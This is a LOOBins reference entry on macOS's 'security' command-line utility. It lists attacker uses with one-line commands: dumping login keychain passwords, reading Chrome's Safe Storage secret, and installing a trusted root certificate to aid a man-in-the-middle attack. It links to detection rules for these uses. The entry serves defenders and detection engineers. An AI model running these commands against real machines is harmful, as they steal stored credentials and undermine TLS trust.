# security

> Interact with Keychain, macOS's built-in password manager.

security is a command-line utility included in macOS that allows users to interact with the Keychain app. Keychains allow users to manager passwords and credentials for many services and features, including Wi-Fi and website passwords, secure notes, certificates, and Kerberos.

- Page: https://loobins.io/binaries/security/
- Author: Pratik Jeware (@Pratik-987), Brendan Chamberlain (@infosecB)
- Created: 2023-04-24
- Tactics: Defense Evasion, Credential Access

## Paths

- `/usr/bin/security`

## Example Use Cases

### Dump credentials, keys, certificates, and other sensitive information from Keychain

This command will dump keychain passwords from login.keychain

```bash
sudo security dump-keychain -d login.keychain
```

- Tactics: Credential Access
- Tags: bash

### Retrieve Chrome's "Chrome Safe Storage" password manager secret

This command will retrieve the Chrome Safe Storage password manager secret from the keychain.

```bash
security find-generic-password -w -s "Chrome Safe Storage"
```

- Tactics: Credential Access
- Tags: bash, chrome

### Add an arbitrary trusted certificate to aid a MITM attack

This command will add a certificate to the keychain.

```bash
security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain bad_cert.crt
```

- Tactics: Defense Evasion
- Tags: bash, certificate

## Detections

- [Sigma: Credentials from Password Stores - Keychain](https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_creds_from_keychain.yml)
- [Elastic: Access to Keychain Credentials Directories](https://github.com/elastic/detection-rules/blob/main/rules/macos/credential_access_credentials_keychains.toml)
- [Elastic: Credential Access Dumping Keychain Security](https://github.com/elastic/detection-rules/blob/main/rules/macos/credential_access_dumping_keychain_security.toml)
- [Elastic: Keychain Password Retrieval via Command Line](https://github.com/elastic/detection-rules/blob/main/rules/macos/credential_access_keychain_pwd_retrieval_security_cmd.toml)
- [Jamf Protect: Detect Keychain dumping using security](https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/keychain_dumped)

## Resources

- [Using the OS X Keychain to store and retrieve passwords](https://www.netmeister.org/blog/keychain-passwords.html)
- [SS64 security man page](https://ss64.com/osx/security.html)